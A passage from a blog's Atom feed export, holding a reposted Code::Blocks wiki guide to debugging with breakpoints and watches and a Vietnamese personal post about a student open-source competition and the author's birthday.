summary="Contents"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;div id="toctitle"&gt;&lt;h2&gt;Contents&lt;/h2&gt;&lt;span class="toctoggle"&gt;&lt;/span&gt;&lt;/div&gt; &lt;ul&gt;&lt;li class="toclevel-1"&gt;&lt;span class="tocnumber"&gt;1&lt;/span&gt; &lt;span class="toctext"&gt;Build debug version of your project&lt;/span&gt;&lt;/li&gt;&lt;li class="toclevel-1"&gt;&lt;span class="tocnumber"&gt;2&lt;/span&gt; &lt;span class="toctext"&gt;Add Watches&lt;/span&gt;&lt;/li&gt;&lt;li class="toclevel-1"&gt;&lt;span class="tocnumber"&gt;3&lt;/span&gt; &lt;span class="toctext"&gt;Set Breakpoints&lt;/span&gt;&lt;/li&gt;&lt;li class="toclevel-1"&gt;&lt;span class="tocnumber"&gt;4&lt;/span&gt; &lt;span class="toctext"&gt;Notes on Setting Breakpoints&lt;/span&gt; &lt;ul&gt;&lt;li class="toclevel-2"&gt;&lt;span class="tocnumber"&gt;4.1&lt;/span&gt; &lt;span class="toctext"&gt;Update to the newest version of mingw&lt;/span&gt;&lt;/li&gt;&lt;li class="toclevel-2"&gt;&lt;span class="tocnumber"&gt;4.2&lt;/span&gt; &lt;span class="toctext"&gt;Limits on the early version of mingw&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt; &lt;/li&gt;&lt;/ul&gt; &lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;script type="text/javascript"&gt; if (window.showTocToggle) { var tocShowText = "show"; var tocHideText = "hide"; showTocToggle(); } &lt;/script&gt; &lt;a name="Build_debug_version_of_your_project" id="Build_debug_version_of_your_project"&gt;&lt;/a&gt;&lt;h1&gt; &lt;span class="mw-headline"&gt;Build debug version of your project&lt;/span&gt;&lt;/h1&gt; &lt;p&gt;Make sure that the project is compiled with the -g (debugging symbols) compiler option on, and the -s (strip symbols) option off. This ensures that the executable has debug symbols included. &lt;/p&gt;&lt;p&gt;Compiler optimization switches should be turned off, stripping symbols (-s) &lt;i&gt;must&lt;/i&gt; be turned off. &lt;/p&gt;&lt;p&gt;Keep in mind that you may have to &lt;b&gt;re&lt;/b&gt;-build your project as up-to-date object files might not be re-compiled with -g otherwise. Please be aware that in compilers other than GCC, -g and/or -s might be a different switch (-s might not ba available at all). &lt;/p&gt;&lt;p&gt;Menu =&gt; Project =&gt; Build Options &lt;/p&gt;&lt;p&gt;&lt;a href="http://wiki.codeblocks.org/index.php?title=File:DbgProjBuildOpt.png" class="image" title="Set Project Build Options"&gt;&lt;img alt="Set Project Build Options" src="http://wiki.codeblocks.org/images/1/14/DbgProjBuildOpt.png" border="0" height="438" width="538" /&gt;&lt;/a&gt; &lt;/p&gt; &lt;a name="Add_Watches" id="Add_Watches"&gt;&lt;/a&gt;&lt;h1&gt; &lt;span class="mw-headline"&gt;Add Watches&lt;/span&gt;&lt;/h1&gt; &lt;p&gt;Open The Debugger Watches Window &lt;/p&gt;&lt;p&gt;&lt;a href="http://wiki.codeblocks.org/index.php?title=File:DbgWatchWindow.png" class="image" title="Open Watch Window"&gt;&lt;img alt="Open Watch Window" src="http://wiki.codeblocks.org/images/c/cf/DbgWatchWindow.png" border="0" height="409" width="720" /&gt;&lt;/a&gt; &lt;/p&gt;&lt;p&gt;The list of watches can be saved to a file and later re-loaded. To do so, right click in the list of watches and select "save watch file" (and "load watch file" to re-load them again). &lt;/p&gt;&lt;p&gt;&lt;a href="http://wiki.codeblocks.org/index.php?title=File:Save_watch.png" class="image" title="Image:Save watch.png"&gt;&lt;img alt="Image:Save watch.png" src="http://wiki.codeblocks.org/images/f/f0/Save_watch.png" border="0" height="293" width="290" /&gt;&lt;/a&gt; &lt;/p&gt; &lt;a name="Set_Breakpoints" id="Set_Breakpoints"&gt;&lt;/a&gt;&lt;h1&gt; &lt;span class="mw-headline"&gt;Set Breakpoints&lt;/span&gt;&lt;/h1&gt; &lt;p&gt;Find the line containing the variable to be watched. Set a breakpoint in a position that will allow you to observe the variable value. &lt;/p&gt;&lt;p&gt;Menu =&gt; Debug =&gt; Toggle Breakpoint &lt;/p&gt;&lt;p&gt;&lt;a href="http://wiki.codeblocks.org/index.php?title=File:DbgSetWatchVar.png" class="image" title="Choose Watch Variable"&gt;&lt;img alt="Choose Watch Variable" src="http://wiki.codeblocks.org/images/a/a5/DbgSetWatchVar.png" border="0" height="361" width="674" /&gt;&lt;/a&gt; &lt;/p&gt;&lt;p&gt;Run the debugger until the breakpoint is reached. Right click the variable to set a watch in the Watch Window. &lt;/p&gt;&lt;p&gt;Breakpoints may also be toggled with a left click in the left editor margin. &lt;/p&gt; &lt;a name="Notes_on_Setting_Breakpoints" id="Notes_on_Setting_Breakpoints"&gt;&lt;/a&gt;&lt;h1&gt; &lt;span class="mw-headline"&gt;Notes on Setting Breakpoints&lt;/span&gt;&lt;/h1&gt; &lt;a name="Update_to_the_newest_version_of_mingw" id="Update_to_the_newest_version_of_mingw"&gt;&lt;/a&gt;&lt;h2&gt; &lt;span class="mw-headline"&gt;Update to the newest version of mingw&lt;/span&gt;&lt;/h2&gt; &lt;p&gt;From gdb 6.8 released on April 2008, it supports many features which does not exist in early versions. You can update by installing binaries from &lt;a href="http://www.tdragon.net/recentgcc/" class="external text" title="http://www.tdragon.net/recentgcc/" rel="nofollow"&gt;TDM-Mingw package&lt;/a&gt;. &lt;/p&gt; &lt;a name="Limits_on_the_early_version_of_mingw" id="Limits_on_the_early_version_of_mingw"&gt;&lt;/a&gt;&lt;h2&gt; &lt;span class="mw-headline"&gt;Limits on the early version of mingw&lt;/span&gt;&lt;/h2&gt; &lt;p&gt;If your are still using the mingw and gdb 6.7 from &lt;a href="http://www.codeblocks.org/downloads/5" class="external text" title="http://www.codeblocks.org/downloads/5" rel="nofollow"&gt;8.02 setup files&lt;/a&gt;, setting breakpoints in the constructor can not work. Here are some tricks. &lt;/p&gt;&lt;p&gt;Breakpoints do not work in constructors or destructors in GDB 6.7 and earlier version. They do, however, work in routines &lt;u&gt;called&lt;/u&gt; from them. This is an early GDB restriction, not a bug. So you could do something like: &lt;/p&gt;&lt;p&gt;&lt;a href="http://wiki.codeblocks.org/index.php?title=File:DbgWithCBExp.png" class="image" title="Debugging ctor/dtor"&gt;&lt;img alt="Debugging ctor/dtor" src="http://wiki.codeblocks.org/images/3/3b/DbgWithCBExp.png" border="0" height="442" width="376" /&gt;&lt;/a&gt; &lt;/p&gt;&lt;p&gt;...and place a breakpoint in "DebugCtorDtor" at the line "int i = 0;" . The debugger will break at that line. If you then step the debugger (Menu Debug =&gt; Next Line; or alternatively F7) you'll reach the code in the contructor/destructor ("is_initialised = true/false;").&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Source : &lt;a href="http://wiki.codeblocks.org/index.php?title=Debugging_with_Code::Blocks"&gt;here&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4625593733003044772-194543624692441433?l=cb.bkitsec.vn' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cb.bkitsec.vn/feeds/194543624692441433/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cb.bkitsec.vn/2009/10/debug-with-codeblock.html#comment-form' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/194543624692441433'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/194543624692441433'/><link rel='alternate' type='text/html' href='http://cb.bkitsec.vn/2009/10/debug-with-codeblock.html' title='Debug with Code::Block'/><author><name>Cr4zyb0y</name><uri>http://www.blogger.com/profile/18411726888669918045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_mMaWcZ9ESZI/TG_IyD9S6oI/AAAAAAAABss/mM0E4sNnpKQ/S220/tienphan.png'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4625593733003044772.post-3229067285264554462</id><published>2009-10-09T22:17:00.005+07:00</published><updated>2009-10-10T00:19:07.273+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='olympic09'/><title type='text'>Đi thi OpenSource</title><content type='html'>Đã một tuần từ khi bước chân xuống Nha Trang - thành phố biển . Cảm nhận lần đầu là "dễ chịu", bớt đi cái ồn ào náo nhiệt của Sài Gòn . Đi cùng đoàn BK tham gia Olympic và acm/icpc , thấy mấy anh kia luyện mà "ghê" :-D . Mình thì long bong, 2 nhóm opensource tách ra từ ns, anh em cả nên ôn luyện nó cũng dễ dàng (nói ôn luyện chứ có ôn đek gì đâu :"&gt;) .&lt;br /&gt;&lt;br /&gt;Tới buổi thi, in một balo tài liệu sách vào, tới cổng mới té ngữa ra là ban giám khảo cho mang usb, làm mình phải cật lực chạy về phòng chép tài liệu.&lt;br /&gt;&lt;br /&gt;Vào thi mới thấy nhiều cái thiếu của mình, phần trắc nghiệm và python thì okie hết, tuy nhiên các phần của các bộ thư viện thì long bong. Một phần là tưởng như đề năm trước, ra trắc nghiệm và ko code nên ko chú trọng lắm, giờ thi nó cho toàn code nên *_* , một phần cũng chủ quan, ôn sơ sài quá. Dẫn đến kết quả thật ê chề.&lt;br /&gt;&lt;br /&gt;Bữa nay -  9/10, tổng kết và trao giải, ai cũng thất vọng, hjc . ĐH CNTT giật 1 2, đội mình (3 thèn 08 - 3 thèn nhỏ nhất trong đám opensource thi năm nay) được giải khuyến khích - cũng tạm an ủi lấy tinh thần sang năm thi tiếp.&lt;br /&gt;&lt;br /&gt;À, quên 1 thứ nữa là hôm nay là sn mình nữa chứ, thiệp chúc mừng từ các site mình tham gia nó gửi tới còn nhiều hơn cả mấy tin chúc mừng của mấy đứa bạn (bùn), nhưng cũng vui vì còn người nhớ tới sn của mình *_* . Không giống như năm ngoái chính mình lại quên sn của mình , hjc.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4625593733003044772-3229067285264554462?l=cb.bkitsec.vn' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cb.bkitsec.vn/feeds/3229067285264554462/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cb.bkitsec.vn/2009/10/i-thi-opensource.html#comment-form' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/3229067285264554462'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/3229067285264554462'/><link rel='alternate' type='text/html' href='http://cb.bkitsec.vn/2009/10/i-thi-opensource.html' title='Đi thi OpenSource'/><author><name>Cr4zyb0y</name><uri>http://www.blogger.com/profile/18411726888669918045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_mMaWcZ9ESZI/TG_IyD9S6oI/AAAAAAAABss/mM0E4sNnpKQ/S220/tienphan.png'/></author><thr:total>8</thr:total></entry></feed>
